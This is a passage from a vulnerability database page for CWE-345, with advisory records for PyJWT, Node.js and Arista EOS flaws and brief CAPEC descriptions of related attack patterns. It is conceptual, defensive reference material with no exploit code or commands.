(`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: matching Ed25519 and Ed448 `x`/`d` private JWK components import successfully, while mismatched components raise `InvalidKeyError`. The supported affected range remains `\u003e= 2.1.0, \u003c= 2.14.0`; the patched version is `2.15.0`. The earlier statement that no released patched version exists is superseded by this update.\n\nThe PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory\u0027s classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.",
"id": "GHSA-x33g-cr3x-6449",
"modified": "2026-10-05T23:44:03Z",
"published": "2026-10-05T23:44:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102275"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion"
}
GHSA-X39V-FRQ9-5HH8
Vulnerability from github – Published: 2023-10-18 06:30 – Updated: 2025-11-04 00:30When the Node.js policy feature checks the integrity of a resource against a trusted manifest, the application can intercept the operation and return a forged checksum to the node's policy implementation, thus effectively disabling the integrity check. Impacts: This vulnerability affects all users using the experimental policy mechanism in all active release lines: 18.x and, 20.x. Please note that at the time this CVE was issued, the policy mechanism is an experimental feature of Node.js.
{
"affected": [],
"aliases": [
"CVE-2023-38552"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-18T04:15:11Z",
"severity": "HIGH"
},
"details": "When the Node.js policy feature checks the integrity of a resource against a trusted manifest, the application can intercept the operation and return a forged checksum to the node\u0027s policy implementation, thus effectively disabling the integrity check.\nImpacts:\nThis vulnerability affects all users using the experimental policy mechanism in all active release lines: 18.x and, 20.x.\nPlease note that at the time this CVE was issued, the policy mechanism is an experimental feature of Node.js.",
"id": "GHSA-x39v-frq9-5hh8",
"modified": "2025-11-04T00:30:40Z",
"published": "2023-10-18T06:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38552"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2094235"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3N4NJ7FR4X4FPZUGNTQAPSTVB2HB2Y4A"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E72T67UPDRXHIDLO3OROR25YAMN4GGW5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNA62Q767CFAFHBCDKYNPBMZWB7TWYVU"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HT7T2R4MQKLIF4ODV4BDLPARWFPCJ5CZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LKYHSZQFDNR7RSA7LHVLLIAQMVYCUGBG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X6QXN4ORIVF6XBW4WWFE7VNPVC74S45Y"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231116-0013"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241108-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X3FC-RHXR-G7JR
Vulnerability from github – Published: 2026-09-16 12:30 – Updated: 2026-09-16 12:30On affected platforms running Arista EOS with Open Shortest Path First version 2 (OSPFv2) configured, a specially crafted OSPFv2 packet from an unauthenticated attacker on the same broadcast segment, with OSPFv2 authentication configured can cause adjacency flapping and packet loss. The disruption can affect routing across the broader OSPF domain.
{
"affected": [],
"aliases": [
"CVE-2026-73435"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T10:16:51Z",
"severity": "HIGH"
},
"details": "On affected platforms running Arista EOS with Open Shortest Path First version 2 (OSPFv2) configured, a specially crafted OSPFv2 packet from an unauthenticated attacker on the same broadcast segment, with OSPFv2 authentication configured can cause adjacency flapping and packet loss. The disruption can affect routing across the broader OSPF domain.",
"id": "GHSA-x3fc-rhxr-g7jr",
"modified": "2026-09-16T12:30:30Z",
"published": "2026-09-16T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73435"
},
{
"type": "WEB",
"url": "https://www.arista.com/en/support/advisories-notices/security-advisory/24727-security-advisory-0171"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.